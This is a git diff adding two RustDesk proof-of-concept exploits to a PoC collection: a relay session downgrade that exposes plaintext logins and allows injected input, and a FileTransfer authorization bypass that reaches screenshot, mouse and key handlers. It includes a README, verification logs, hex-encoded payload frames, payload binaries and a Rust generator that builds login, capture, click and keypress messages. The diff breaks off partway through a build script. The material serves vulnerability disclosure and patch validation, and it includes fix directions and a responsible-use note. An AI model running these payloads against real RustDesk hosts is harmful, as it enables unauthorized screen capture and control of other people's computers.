diff --git a/README.md b/README.md index 7cfda5d..28c8c73 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | | `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 | | `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 | +| `rustdesk-session-permission-pocs` | direct entry, June 25, 2026 | 17 | | `systeminformer-phsvc-trusted-host-lpe-poc` | direct entry, June 24, 2026 | 3 | | `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 | @@ -44,4 +45,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/rustdesk-session-permission-pocs/README.md b/rustdesk-session-permission-pocs/README.md new file mode 100644 index 0000000..a36a3f1 --- /dev/null +++ b/rustdesk-session-permission-pocs/README.md @@ -0,0 +1,232 @@ +# RustDesk Session and FileTransfer Permission PoCs + +This directory contains two RustDesk proof-of-concept harnesses for issues found in the `rustdesk/rustdesk` codebase. + +The two findings are related by target and protocol surface, but they are separate bugs with separate preconditions: + +| Finding | Local classification | What the PoC proves | Required attacker position | +| --- | --- | --- | --- | +| Relay session security downgrade | Critical-class candidate | A malicious relay/rendezvous path can make a normally authenticated session continue without the expected encrypted peer key agreement, then observe and inject plaintext control messages. | Control of, compromise of, or equivalent ability to alter the rendezvous/relay metadata path used by the connecting client. | +| FileTransfer authorization scope bypass | High-class candidate | A connection authorized as `AuthConnType::FileTransfer` can still reach post-auth screen and input message handlers that are gated by broad `self.authorized` state instead of the narrower connection type. | A valid FileTransfer session authorization, such as the password proof or explicit user approval for file transfer. | + +These are not assigned CVE entries in this repository. The classifications above are severity judgments for the demonstrated conditions, not vendor advisories. + +## Contents + +- `session-downgrade/`: Rust PoC that generates framed RustDesk payloads and runs a local loopback relay simulation for the session downgrade. +- `session-downgrade/payloads/`: Pre-generated sample framed payloads from the session downgrade PoC. +- `filetransfer-scope-bypass/`: Rust PoC that verifies the vulnerable source shape and generates post-auth FileTransfer scope-bypass protocol messages. +- `filetransfer-scope-bypass/payloads/`: Pre-generated sample message bodies from the FileTransfer PoC. +- `evidence/local-verification.txt`: Sanitized local command output and hashes. + +Both PoCs compile RustDesk protobuf bindings from a local RustDesk checkout at build time. Pass the checkout explicitly with `--repo-root` or set `RUSTDESK_REPO_ROOT`. + +The local source checkout used for validation was: + +```text +rustdesk/rustdesk ff226f6d8013dee2de5a6553abaf67bf32b3e875 +``` + +## Finding 1: Relay Session Security Downgrade + +### Summary + +RustDesk's client secure-session setup can fail open when the signed peer key material received through the rendezvous/relay path is missing or invalid. The client derives whether to request a secure relay from whether the signed peer key is present. When the signed key is absent, the client sends an empty message to satisfy the peer side and returns without installing an encryption key. + +On the controlled side, secure setup is conditional on the relay secure flag and key lengths. If the relay path is not marked secure, the server-side connection continues into the normal login flow without the peer encryption layer. A malicious relay in that position can then parse the `LoginRequest` and inject normal RustDesk control messages after the legitimate authentication succeeds. + +The PoC does not recover the user's password. It does not bypass the login proof. It demonstrates that a relay/rendezvous attacker with the downgrade position can turn a normally authenticated session into plaintext relay traffic and inject a `MouseEvent` without knowing the password. + +### Source Evidence + +The PoC checks for these source features before it emits payloads or reports success: + +| File | Lines in the validated checkout | Relevance | +| --- | ---: | --- | +| `src/client.rs` | 511, 553 | The client accepts signed peer key material from rendezvous and relay responses. | +| `src/client.rs` | 723 | Relay secure mode is requested from `!signed_id_pk.is_empty()`. | +| `src/client.rs` | 773-792 | Missing or untrusted signed peer key leads to an empty message and returns without installing a peer encryption key. | +| `src/client.rs` | 813-824 | Some handshake mismatch/error cases send an empty/public-key-empty response and continue rather than failing closed. | +| `src/rendezvous_mediator.rs` | 499 | The relay response secure flag is propagated into connection setup. | +| `src/server.rs` | 200 | Server-side secure setup is conditional on the secure flag and key lengths. | +| `src/server.rs` | 233 | Key confirmation is explicitly cleared on the non-secure path. | +| `src/server/connection.rs` | 2691, 2697, 2833, 3486 | After authorization, mouse, key, and screenshot messages are dispatched under broad authorized state. | + +### Exploit Shape + +The local replay models this sequence: + +1. The client enters relay mode using rendezvous/relay metadata whose signed peer key is absent or invalid. +2. The client asks for a non-secure relay and sends an empty first message to the controlled side. +3. The controlled side continues because the secure flag/key requirements are not met. +4. The legitimate client receives the normal RustDesk `Hash` challenge and sends a valid `LoginRequest`. +5. The relay can parse that login request as plaintext protocol data. +6. After the controlled side authorizes the legitimate login, the relay injects a plaintext `MouseEvent`. +7. The controlled side accepts the injected mouse event because the session is authorized and the message is syntactically valid. + +### Run + +Windows PowerShell: + +```powershell +cd rustdesk-session-permission-pocs\session-downgrade +$env:RUSTDESK_REPO_ROOT = "C:\path\to\rustdesk" +cargo run -- --repo-root $env:RUSTDESK_REPO_ROOT --out .\payloads +``` + +POSIX shell: + +```bash +cd rustdesk-session-permission-pocs/session-downgrade +RUSTDESK_REPO_ROOT=/path/to/rustdesk cargo run -- --repo-root /path/to/rustdesk --out ./payloads +``` + +The generated `.frame` files include the RustDesk length prefix used by the TCP stream codec. + +### Expected Output + +```text +00_client_empty_downgrade_handshake.frame: 1 bytes, hex=00 +01_login_remote_control.frame: 118 bytes, hex=d1013a720a0931323334353637383912204664ba509681b4355b18c1fb2137749c564691ac4e66e8091984e0cce606683e222072656c61792d61747461636b65722d63616e6e6f742d67756573732d746869732a116c65676974696d6174652d636c69656e745a05312e342e336a0777696e646f7773 +02_injected_mouse_move.frame: 9 bytes, hex=20520610800518e003 +03_injected_screenshot_request.frame: 37 bytes, hex=90ea0121121f706f632d646f776e6772616465642d72656c61792d73637265656e73686f74 + relay parsed LoginRequest without password knowledge: true + relay injected MouseEvent as plaintext RustDesk frame: true + +local exploit simulation: + source checks passed: true + client sent empty downgrade handshake: true + relay observed plaintext login: true + relay injected plaintext mouse frame: true + controlled side authorized login: true + controlled side accepted injected mouse event: true +``` + +### Payload Hashes + +| File | SHA256 | +| --- | --- | +| `00_client_empty_downgrade_handshake.frame` | `6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D` | +| `01_login_remote_control.frame` | `69DD5DA57D22B5DBFBA6B704951062DEADED3942772756918583D9864A3D594E` | +| `02_injected_mouse_move.frame` | `3171F71B0409374A2450FF74DF8CAFAD89B760D7CAE05AC81588FABD165972E4` | +| `03_injected_screenshot_request.frame` | `BE7FBF25E7B0419CA62B2DE02D63BD5769BF7714F48C69CBCA50438B5BA2F0FF` | + +### Preconditions and Limits + +- The attacker needs control of the relay/rendezvous metadata path or an equivalent ability to force the missing/invalid signed-key path. A passive network observer who cannot alter this path is not enough for this PoC. +- The legitimate user still completes the normal RustDesk authentication flow. +- The PoC demonstrates plaintext observation and control-message injection after authentication. It does not demonstrate remote code execution. +- The sample payloads use fixed example IDs, password, salt, and challenge values. Regenerate them for a specific authorized test environment. +- The local replay is a protocol-level simulation of the downgrade and post-auth injection. It does not require a live third-party RustDesk host. + +### Fix Direction + +The downgrade should fail closed. Defensive changes to evaluate include: + +- Require valid signed peer key material for relay sessions that are expected to be secure. +- Do not derive relay secure mode from metadata that can be stripped by the rendezvous/relay path. +- Bind peer identity, peer public key, and relay security state together before login. +- Reject empty or public-key-empty handshake fallbacks for relay sessions unless the user has explicitly opted into an insecure mode. +- Add regression coverage that simulates missing, invalid, and mismatched signed peer key material and expects connection failure. + +## Finding 2: FileTransfer Authorization Scope Bypass + +### Summary + +RustDesk records a FileTransfer login as `AuthConnType::FileTransfer`, but the post-auth message dispatcher accepts many message types under the broad `self.authorized` state. The FileTransfer post-login branch starts file-listing behavior, but unlike terminal and view-camera branches, it does not disable keyboard/input behavior or narrow the later dispatcher to file-transfer-only messages. + +The PoC verifies that vulnerable source shape and emits a FileTransfer login plus screenshot, display capture, mouse click, and keypress message bodies. These are protocol messages that should not be accepted merely because a connection was authorized for file transfer. + +This is not an unauthenticated vulnerability. It is a scope expansion after a valid FileTransfer authorization. + +### Source Evidence + +The PoC checks for these source features: + +| File | Lines in the validated checkout | Relevance | +| --- | ---: | --- | +| `src/server/connection.rs` | 1546 | File transfer is assigned `AuthConnType::FileTransfer`. | +| `src/server/connection.rs` | 1816-1827 | The FileTransfer post-login branch reads the file directory and does not clear keyboard/input state. | +| `src/server/connection.rs` | 1828, 1835 | Terminal and view-camera branches do clear keyboard state, showing that narrower mode handling exists elsewhere. | +| `src/server/connection.rs` | 2398 | `LoginRequest.FileTransfer` stores file-transfer state on the connection. | +| `src/server/connection.rs` | 2691 | The dispatcher enters a broad post-auth branch using `self.authorized`. | +| `src/server/connection.rs` | 2697, 2833, 3486 | Mouse, key, and screenshot messages are reachable in that broad branch. | +| `src/ui_cm_interface.rs` | 368 | User acceptance sends authorization without a narrower per-message capability token. | + +### Exploit Shape + +The FileTransfer PoC models this sequence: + +1. The attacker obtains a valid FileTransfer authorization for the target session. +2. The attacker sends a `LoginRequest` whose union is `FileTransfer`. +3. The target records the connection as file transfer and authorizes it. +4. After `LoginResponse` success, the same connection sends non-file-transfer messages. +5. Because later dispatch is guarded by broad authorization instead of `AuthConnType::Remote`, screenshot/capture/input-family messages reach handlers that should be reserved for remote-control sessions. + +### Run + +Windows PowerShell: + +```powershell +cd rustdesk-session-permission-pocs\filetransfer-scope-bypass +$env:RUSTDESK_REPO_ROOT = "C:\path\to\rustdesk" +cargo run -- --repo-root $env:RUSTDESK_REPO_ROOT --out .\payloads --peer-id 123456789 --my-id 987654321 --my-name poc-controller --password "CorrectHorseBatteryStaple!" --salt "sample-server-salt" --challenge "123456" +``` + +POSIX shell: + +```bash +cd rustdesk-session-permission-pocs/filetransfer-scope-bypass +RUSTDESK_REPO_ROOT=/path/to/rustdesk cargo run -- --repo-root /path/to/rustdesk --out ./payloads --peer-id 123456789 --my-id 987654321 --my-name poc-controller --password "CorrectHorseBatteryStaple!" --salt "sample-server-salt" --challenge "123456" +``` + +The generated `.bin` files are serialized RustDesk protobuf `Message` bodies. In a real stream replay harness, wrap them in the same transport framing used by the established RustDesk connection. + +### Expected Output + +```text +01_login_filetransfer.bin: 92 bytes, hex=3a5a0a0931323334353637383912204664ba509681b4355b18c1fb2137749c564691ac4e66e8091984e0cce606683e22093938373635343332312a0e706f632d636f6e74726f6c6c65725a05312e342e336a0777696e646f77733a00 +02_screenshot_request.bin: 32 bytes, hex=ea011d121b706f632d66696c657472616e736665722d73637265656e73686f74 +03_capture_display0.bin: 9 bytes, hex=9a0106f201031a0100 +04_mouse_left_click.bin: 10 bytes, hex=5208080110800518e003 +05_key_return_press.bin: 8 bytes, hex=7a0610014801181b + +PoC payloads written to .\payloads +Use only against a RustDesk host you own/control. The sequence is: +1. complete the normal transport/key exchange and receive Hash(salt, challenge) +2. send 01_login_filetransfer.bin with a valid password proof +3. after LoginResponse success, send screenshot/capture/input payloads +The source verifier confirmed this commit accepts these post-auth messages on a FileTransfer connection without rechecking AuthConnType::Remote. +``` + +### Payload Hashes + +| File | SHA256 | +| --- | --- | +| `01_login_filetransfer.bin` | `67DFBD05D5B5F8F7D2A1DCA6CE7E3038DAADD86B9B4A9EA57958C1C5BD8F5B34` | +| `02_screenshot_request.bin` | `2051A74FD909D2F721927FBF63A7C51FF93FEA8F234130763316F9BDCADBF03B` | +| `03_capture_display0.bin` | `0547F9061C5BC107B19D885AC9D187C86E7C07ECC60E77FBE99CCB9A4A81D90D` | +| `04_mouse_left_click.bin` | `F99E0557BC4087C6D2936F60D68068A296A397FDDC08D6A6326E127B629A4FAF` | +| `05_key_return_press.bin` | `B5656BFE818D514F3175E6D46B324436FF6961DC093D3E949CA458104C3593A0` | + +### Preconditions and Limits + +- The attacker must already have a valid FileTransfer authorization. This can be a correct password proof or a user-approved file-transfer session. +- The PoC does not bypass RustDesk authentication by itself. +- The PoC is a source-verified payload generator. It does not include a full live client that drives a target UI or third-party host. +- The keypress payload is included because desktop and mobile key-event branches exist in the broad dispatcher. Exact input effects depend on platform, permissions, focus, and runtime settings. +- The sample login payload uses fixed example challenge material. Regenerate it with the actual `Hash` challenge values from an authorized test session. + +### Fix Direction + +The server should enforce connection type and capability at the message dispatcher boundary. Defensive changes to evaluate include: + +- Dispatch post-auth messages through an allowlist keyed by `AuthConnType`. +- Reject `MouseEvent`, `PointerDeviceEvent`, `KeyEvent`, `ScreenshotRequest`, capture-display, and monitor-control messages on `AuthConnType::FileTransfer`. +- Make the FileTransfer branch clear or ignore keyboard and pointer permissions unless a separate remote-control authorization is granted. +- Add regression tests that login as FileTransfer and verify non-file-transfer messages are rejected. +- Keep user approval scoped to the selected action. Accepting file transfer should not silently authorize screen capture or remote input. + +## Responsible Use + +Run these PoCs only against local research targets, owned systems, or environments where you have explicit authorization. The included payloads are for defensive reproduction and patch validation. They are not intended for use against third-party RustDesk deployments. diff --git a/rustdesk-session-permission-pocs/evidence/local-verification.txt b/rustdesk-session-permission-pocs/evidence/local-verification.txt new file mode 100644 index 0000000..cc22069 --- /dev/null +++ b/rustdesk-session-permission-pocs/evidence/local-verification.txt @@ -0,0 +1,72 @@ +# Local Verification + +RustDesk source checkout: + +ff226f6d8013dee2de5a6553abaf67bf32b3e875 + +No third-party host was contacted. The session downgrade proof uses a local loopback relay simulation. The FileTransfer proof verifies the vulnerable source shape and emits protocol message bodies for an authorized test session. + +## Session Downgrade + +Command: + +cargo run -- --repo-root C:\path\to\rustdesk --out .\payloads + +Output: + +00_client_empty_downgrade_handshake.frame: 1 bytes, hex=00 +01_login_remote_control.frame: 118 bytes, hex=d1013a720a0931323334353637383912204664ba509681b4355b18c1fb2137749c564691ac4e66e8091984e0cce606683e222072656c61792d61747461636b65722d63616e6e6f742d67756573732d746869732a116c65676974696d6174652d636c69656e745a05312e342e336a0777696e646f7773 +02_injected_mouse_move.frame: 9 bytes, hex=20520610800518e003 +03_injected_screenshot_request.frame: 37 bytes, hex=90ea0121121f706f632d646f776e6772616465642d72656c61792d73637265656e73686f74 + relay parsed LoginRequest without password knowledge: true + relay injected MouseEvent as plaintext RustDesk frame: true + +local exploit simulation: + source checks passed: true + client sent empty downgrade handshake: true + relay observed plaintext login: true + relay injected plaintext mouse frame: true + controlled side authorized login: true + controlled side accepted injected mouse event: true + +Payload hashes: + +6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D 00_client_empty_downgrade_handshake.frame +69DD5DA57D22B5DBFBA6B704951062DEADED3942772756918583D9864A3D594E 01_login_remote_control.frame +3171F71B0409374A2450FF74DF8CAFAD89B760D7CAE05AC81588FABD165972E4 02_injected_mouse_move.frame +BE7FBF25E7B0419CA62B2DE02D63BD5769BF7714F48C69CBCA50438B5BA2F0FF 03_injected_screenshot_request.frame + +## FileTransfer Authorization Scope + +Command: + +cargo run -- --repo-root C:\path\to\rustdesk --out .\payloads --peer-id 123456789 --my-id 987654321 --my-name poc-controller --password "CorrectHorseBatteryStaple!" --salt "sample-server-salt" --challenge "123456" + +Output: + +01_login_filetransfer.bin: 92 bytes, hex=3a5a0a0931323334353637383912204664ba509681b4355b18c1fb2137749c564691ac4e66e8091984e0cce606683e22093938373635343332312a0e706f632d636f6e74726f6c6c65725a05312e342e336a0777696e646f77733a00 +02_screenshot_request.bin: 32 bytes, hex=ea011d121b706f632d66696c657472616e736665722d73637265656e73686f74 +03_capture_display0.bin: 9 bytes, hex=9a0106f201031a0100 +04_mouse_left_click.bin: 10 bytes, hex=5208080110800518e003 +05_key_return_press.bin: 8 bytes, hex=7a0610014801181b + +PoC payloads written to .\payloads +Use only against a RustDesk host you own/control. The sequence is: +1. complete the normal transport/key exchange and receive Hash(salt, challenge) +2. send 01_login_filetransfer.bin with a valid password proof +3. after LoginResponse success, send screenshot/capture/input payloads +The source verifier confirmed this commit accepts these post-auth messages on a FileTransfer connection without rechecking AuthConnType::Remote. + +Payload hashes: + +67DFBD05D5B5F8F7D2A1DCA6CE7E3038DAADD86B9B4A9EA57958C1C5BD8F5B34 01_login_filetransfer.bin +2051A74FD909D2F721927FBF63A7C51FF93FEA8F234130763316F9BDCADBF03B 02_screenshot_request.bin +0547F9061C5BC107B19D885AC9D187C86E7C07ECC60E77FBE99CCB9A4A81D90D 03_capture_display0.bin +F99E0557BC4087C6D2936F60D68068A296A397FDDC08D6A6326E127B629A4FAF 04_mouse_left_click.bin +B5656BFE818D514F3175E6D46B324436FF6961DC093D3E949CA458104C3593A0 05_key_return_press.bin + +## Claim Boundaries + +The session downgrade proof requires a relay/rendezvous attacker position and a legitimate login. It does not prove password recovery, authentication bypass, or remote code execution. + +The FileTransfer proof requires a valid FileTransfer authorization. It does not prove unauthenticated access and does not include a full live replay client. diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/Cargo.toml b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/Cargo.toml new file mode 100644 index 0000000..62ad7e2 --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "rustdesk_filetransfer_control_poc" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = "1.0" +bytes = "1.10" +hex = "0.4" +protobuf = { version = "3.7", features = ["with-bytes"] } +sha2 = "0.10" + +[build-dependencies] +protobuf-codegen = "3.7" diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/build.rs b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/build.rs new file mode 100644 index 0000000..26027b9 --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/build.rs @@ -0,0 +1,36 @@ +use std::path::PathBuf; + +fn main() { + let manifest = PathBuf::from(std::env::var("CARGO_MANIFEST_DIR").unwrap()); + let repo_root = std::env::var("RUSTDESK_REPO_ROOT") + .map(PathBuf::from) + .ok() + .or_else(|| { + manifest.ancestors().find_map(|ancestor| { + for candidate in [ancestor.join("rustdesk"), ancestor.join("work").join("rustdesk")] { + if candidate.join("libs/hbb_common/protos/message.proto").exists() { + return Some(candidate); + } + } + None + }) + }) + .expect("set RUSTDESK_REPO_ROOT or place this PoC near a rustdesk checkout") + .join("libs") + .join("hbb_common") + .join("protos"); + let out_dir = PathBuf::from(std::env::var("OUT_DIR").unwrap()).join("protos"); + std::fs::create_dir_all(&out_dir).unwrap(); + + protobuf_codegen::Codegen::new() + .pure() + .out_dir(&out_dir) + .inputs([ + repo_root.join("rendezvous.proto"), + repo_root.join("message.proto"), + ]) + .include(&repo_root) + .customize(protobuf_codegen::Customize::default().tokio_bytes(true)) + .run() + .expect("protobuf codegen failed"); +} diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/01_login_filetransfer.bin b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/01_login_filetransfer.bin new file mode 100644 index 0000000..cf2bc4e Binary files /dev/null and b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/01_login_filetransfer.bin differ diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/02_screenshot_request.bin b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/02_screenshot_request.bin new file mode 100644 index 0000000..a9f3cff --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/02_screenshot_request.bin @@ -0,0 +1 @@ +poc-filetransfer-screenshot \ No newline at end of file diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/03_capture_display0.bin b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/03_capture_display0.bin new file mode 100644 index 0000000..fb0b971 Binary files /dev/null and b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/03_capture_display0.bin differ diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/04_mouse_left_click.bin b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/04_mouse_left_click.bin new file mode 100644 index 0000000..b54c908 --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/04_mouse_left_click.bin @@ -0,0 +1 @@ +R \ No newline at end of file diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/05_key_return_press.bin b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/05_key_return_press.bin new file mode 100644 index 0000000..8745363 --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/payloads/05_key_return_press.bin @@ -0,0 +1 @@ +zH \ No newline at end of file diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs new file mode 100644 index 0000000..9402a81 --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs @@ -0,0 +1,217 @@ +include!(concat!(env!("OUT_DIR"), "/protos/mod.rs")); + +use anyhow::{bail, Context, Result}; +use protobuf::{EnumOrUnknown, Message as _}; +use sha2::{Digest, Sha256}; +use std::{env, fs, path::{Path, PathBuf}}; + +use crate::message as proto; + +fn main() -> Result<()> { + let mut repo_root = None::; + let mut out_dir = env::current_dir()?.join("poc_out"); + let mut peer_id = "controlled-peer-id".to_owned(); + let mut my_id = "attacker-id".to_owned(); + let mut my_name = "filetransfer-control-poc".to_owned(); + let mut password = None::; + let mut salt = None::; + let mut challenge = None::; + + let mut args = env::args().skip(1); + while let Some(arg) = args.next() { + match arg.as_str() { + "--repo-root" => repo_root = Some(PathBuf::from(next_arg(&mut args, "--repo-root")?)), + "--out" => out_dir = PathBuf::from(next_arg(&mut args, "--out")?), + "--peer-id" => peer_id = next_arg(&mut args, "--peer-id")?, + "--my-id" => my_id = next_arg(&mut args, "--my-id")?, + "--my-name" => my_name = next_arg(&mut args, "--my-name")?, + "--password" => password = Some(next_arg(&mut args, "--password")?), + "--salt" => salt = Some(next_arg(&mut args, "--salt")?), + "--challenge" => challenge = Some(next_arg(&mut args, "--challenge")?), + "--help" | "-h" => { + print_help(); + return Ok(()); + } + other => bail!("unknown argument: {other}"), + } + } + + let repo_root = match repo_root { + Some(path) => path, + None => find_repo_root()?, + }; + verify_source_reachability(&repo_root)?; + fs::create_dir_all(&out_dir).with_context(|| format!("create {}", out_dir.display()))?; + + let password_proof = match (password, salt, challenge) { + (Some(password), Some(salt), Some(challenge)) => { + Some(rustdesk_password_proof(&password, &salt, &challenge)) + } + (None, None, None) => None, + _ => bail!("--password, --salt, and --challenge must be supplied together"), + }; + + let payloads = [ + ( + "01_login_filetransfer.bin", + login_filetransfer(&peer_id, &my_id, &my_name, password_proof.unwrap_or_default())?, + ), + ("02_screenshot_request.bin", screenshot_request()?), + ("03_capture_display0.bin", capture_display0()?), + ("04_mouse_left_click.bin", mouse_left_click()?), + ("05_key_return_press.bin", key_return_press()?), + ]; + + for (name, bytes) in payloads { + let path = out_dir.join(name); + fs::write(&path, &bytes).with_context(|| format!("write {}", path.display()))?; + println!("{name}: {} bytes, hex={}", bytes.len(), hex::encode(&bytes)); + } + + println!(); + println!("PoC payloads written to {}", out_dir.display()); + println!("Use only against a RustDesk host you own/control. The sequence is:"); + println!("1. complete the normal transport/key exchange and receive Hash(salt, challenge)"); + println!("2. send 01_login_filetransfer.bin with a valid password proof"); + println!("3. after LoginResponse success, send screenshot/capture/input payloads"); + println!("The source verifier confirmed this commit accepts these post-auth messages on a FileTransfer connection without rechecking AuthConnType::Remote."); + Ok(()) +} + +fn next_arg(args: &mut impl Iterator, name: &str) -> Result { + args.next() + .with_context(|| format!("missing value for {name}")) +} + +fn print_help() { + println!( + "Usage: rustdesk_filetransfer_control_poc --repo-root --out \\ + [--peer-id ] [--my-id ] [--my-name ] \\ + [--password --salt --challenge ]" + ); +} + +fn find_repo_root() -> Result { + let mut dir = env::current_dir()?; + loop { + let candidate = dir.join("rustdesk").join("src").join("server").join("connection.rs"); + if candidate.exists() { + return Ok(dir.join("rustdesk")); + } + if !dir.pop() { + bail!("could not auto-locate rustdesk repo; pass --repo-root"); + } + } +} + +fn verify_source_reachability(repo_root: &Path) -> Result<()> { + let connection = fs::read_to_string(repo_root.join("src/server/connection.rs")) + .with_context(|| "read src/server/connection.rs")?; + let ui_cm = fs::read_to_string(repo_root.join("src/ui_cm_interface.rs")) + .with_context(|| "read src/ui_cm_interface.rs")?; + + require(&connection, "self.file_transfer = Some((ft.dir, ft.show_hidden));")?; + require(&connection, "self.authorized = true;")?; + require(&connection, "(1, AuthConnType::FileTransfer)")?; + require(&connection, "if let Some((dir, show_hidden)) = self.file_transfer.clone()")?; + require(&connection, "} else if self.terminal {")?; + require(&connection, "Some(message::Union::MouseEvent(mut me))")?; + require(&connection, "if self.peer_keyboard_enabled()")?; + require(&connection, "Some(message::Union::KeyEvent(me))")?; + require(&connection, "Some(message::Union::ScreenshotRequest(request))")?; + require(&connection, "crate::video_service::set_take_screenshot(")?; + require(&ui_cm, "allow_err!(client.tx.send(Data::Authorize));")?; + + let file_transfer_branch = connection + .find("if let Some((dir, show_hidden)) = self.file_transfer.clone()") + .context("file-transfer post-login branch not found")?; + let terminal_branch = connection[file_transfer_branch..] + .find("} else if self.terminal {") + .context("terminal post-login branch not found after file-transfer branch")? + + file_transfer_branch; + let between = &connection[file_transfer_branch..terminal_branch]; + if between.contains("self.keyboard = false") { + bail!("file-transfer branch appears to disable keyboard in this checkout"); + } + Ok(()) +} + +fn require(haystack: &str, needle: &str) -> Result<()> { + if haystack.contains(needle) { + Ok(()) + } else { + bail!("source reachability check failed, missing snippet: {needle:?}") + } +} + +fn rustdesk_password_proof(password: &str, salt: &str, challenge: &str) -> Vec { + let mut h1 = Sha256::new(); + h1.update(password.as_bytes()); + h1.update(salt.as_bytes()); + let h1 = h1.finalize(); + + let mut h2 = Sha256::new(); + h2.update(&h1); + h2.update(challenge.as_bytes()); + h2.finalize().to_vec() +} + +fn login_filetransfer(peer_id: &str, my_id: &str, my_name: &str, proof: Vec) -> Result> { + let mut ft = proto::FileTransfer::new(); + ft.dir = String::new(); + ft.show_hidden = false; + + let mut lr = proto::LoginRequest::new(); + lr.username = peer_id.to_owned(); + lr.password = proof.into(); + lr.my_id = my_id.to_owned(); + lr.my_name = my_name.to_owned(); + lr.version = "1.4.3".to_owned(); + lr.my_platform = env::consts::OS.to_owned(); + lr.union = Some(proto::login_request::Union::FileTransfer(ft)); + + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::LoginRequest(lr)); + Ok(msg.write_to_bytes()?) +} + +fn screenshot_request() -> Result> { + let mut req = proto::ScreenshotRequest::new(); + req.display = 0; + req.sid = "poc-filetransfer-screenshot".to_owned(); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::ScreenshotRequest(req)); + Ok(msg.write_to_bytes()?) +} + +fn capture_display0() -> Result> { + let mut cap = proto::CaptureDisplays::new(); + cap.set.push(0); + let mut misc = proto::Misc::new(); + misc.union = Some(proto::misc::Union::CaptureDisplays(cap)); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::Misc(misc)); + Ok(msg.write_to_bytes()?) +} + +fn mouse_left_click() -> Result> { + let mut mouse = proto::MouseEvent::new(); + mouse.mask = 1; + mouse.x = 320; + mouse.y = 240; + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::MouseEvent(mouse)); + Ok(msg.write_to_bytes()?) +} + +fn key_return_press() -> Result> { + let mut key = proto::KeyEvent::new(); + key.press = true; + key.union = Some(proto::key_event::Union::ControlKey(EnumOrUnknown::new( + proto::ControlKey::Return, + ))); + key.mode = EnumOrUnknown::new(proto::KeyboardMode::Map); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::KeyEvent(key)); + Ok(msg.write_to_bytes()?) +} diff --git a/rustdesk-session-permission-pocs/session-downgrade/Cargo.toml b/rustdesk-session-permission-pocs/session-downgrade/Cargo.toml new file mode 100644 index 0000000..f73eebe --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "rustdesk_session_downgrade_poc" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = "1.0" +bytes = "1.10" +hex = "0.4" +protobuf = { version = "3.7", features = ["with-bytes"] } +sha2 = "0.10" + +[build-dependencies] +protobuf-codegen = "3.7" diff --git a/rustdesk-session-permission-pocs/session-downgrade/build.rs b/rustdesk-session-permission-pocs/session-downgrade/build.rs new file mode 100644 index 0000000..de7e2af --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/build.rs @@ -0,0 +1,40 @@ +use std::path::PathBuf; + +fn main() { + let manifest = PathBuf::from(std::env::var("CARGO_MANIFEST_DIR").unwrap()); + let repo_root = std::env::var("RUSTDESK_REPO_ROOT") + .map(PathBuf::from) + .ok() + .or_else(|| { + manifest.ancestors().find_map(|ancestor| { + for candidate in [ + ancestor.join("rustdesk"), + ancestor.join("work").join("rustdesk"), + ancestor.parent().unwrap_or(ancestor).join("work").join("rustdesk"), + ] { + if 